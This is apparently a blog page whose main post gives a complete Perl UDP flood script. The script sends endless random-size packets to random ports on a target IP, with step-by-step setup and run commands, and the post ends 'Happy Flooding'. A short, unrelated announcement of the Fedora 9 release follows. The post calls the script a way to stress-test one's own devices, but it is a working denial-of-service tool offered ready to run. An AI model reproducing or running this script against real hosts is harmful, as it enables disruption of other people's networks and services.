UDP Flood perl script

Have u ever wonder how your network devices(s) behavior in stress state?
Try follow this simple steps to make UDP Flood :

1. touch /tmp/udpflood.pl
2. chmod +x /tmp/udpflood.pl
3. copy & paste this to ur udpflood.pl script :

#!/usr/bin/perl

##############
# udp flood.
##############

use Socket;
use strict;

if ($#ARGV != 3) {
print "flood.pl \n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

4. exec ur script with /tmp/udpflood.pl 192.168.1.1 0 0 0 --> where 192.168.1.1 is ur target IP

Happy Flooding ;)

Fedora 9 Sulphur is out now

Fedora is a Linux-based operating system that showcases the latest in free and open source software. Fedora is always free for anyone to use, modify, and distribute. It is built by people across the globe who work together as a community: the Fedora Project. The Fedora Project is open and anyone is welcome to join.

The Fedora Project is out front for you, leading the advancement of free, open software and content.

get it Here
more info about F9 Here